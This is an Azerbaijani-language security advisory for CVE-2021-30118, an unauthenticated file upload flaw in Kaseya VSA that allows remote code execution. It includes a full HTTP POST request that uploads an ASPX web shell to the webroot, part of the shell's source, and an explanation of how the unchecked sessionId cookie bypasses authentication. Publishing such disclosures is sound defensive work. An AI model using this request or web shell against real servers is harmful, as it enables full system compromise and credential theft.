CVE-2021-30118

Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 versiyasında hücumçu Web Server prosesinin imtiyazları ilə faylları yükləyə və sonradan bu fayllardan istifadə edərək asp əmrlərini icra edə bilər. `/SystemTab/uploader.aspx` API-si autentifikasiyasız ixtiyari fayl yükləməsinə həssasdır ki, bu da uzaqdan kodun icrasına (RCE) səbəb olur. Hücumçu Web Server prosesinin imtiyazları ilə fayllar yükləyə və daha sonra bu fayllardan istifadə edərək asp əmrlərini icra edə bilər. Ətraflı təsvir --- Aşağıdakı sorğu verildikdə: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` Hücumçu `qqfile` parametri vasitəsilə yazılan faylın adını və `PathData` parametri vasitəsilə faylın yerləşdiyi məkanı idarə edə bilər. Çağırış üçün `sessionId` cookie-sinin ötürülməsi tələb olunsa da, müəyyən edilmişdir ki, `sessionId` faktiki olaraq yoxlanılmır və hər hansı rəqəmsal dəyər etibarlı kimi qəbul edilir. Aşkar edilmiş təhlükəsizlik problemləri --- * `/SystemTab/uploader.aspx` tərəfindən `sessionId` cookie-si tələb olunur, lakin o, faktiki olaraq yoxlanılmır və bu, hücumçunun autentifikasiyadan yan keçməsinə şərait yaradır * `/SystemTab/uploader.aspx` hücumçuya vebserverin yazı girişinin olduğu istənilən yerdə ixtiyari məzmunlu fayl yaratmağa imkan verir * Veb server prosesinin webroot-a yazı girişi var və hücumçu yeni yaradılmış faylın URL-ni sorğu edərək onu orada icra edə bilər. Təsir --- Bu ixtiyari fayl yükləmə hücumçuya vebserver prosesinin giriş imkanı olduğu serverin sabit diskindəki istənilən məkana, o cümlədən (lakin bununla məhdudlaşmayaraq) webroot-a öz seçimi ilə fayllar yerləşdirməyə imkan verir. Əgər hücumçu webroot-a kod olan fayllar (məsələn, aspx kodu) yükləyərsə, sistemin bütövlüyünü, məxfiliyini və ya əlçatanlığını pozmaq və ya digər istifadəçilərin etibarnamələrini oğurlamaq üçün bu kodu vebserver kontekstində icra edə bilər. Başqa sözlə, bu, sistemin tam kompromisə uğramasına səbəb ola bilər.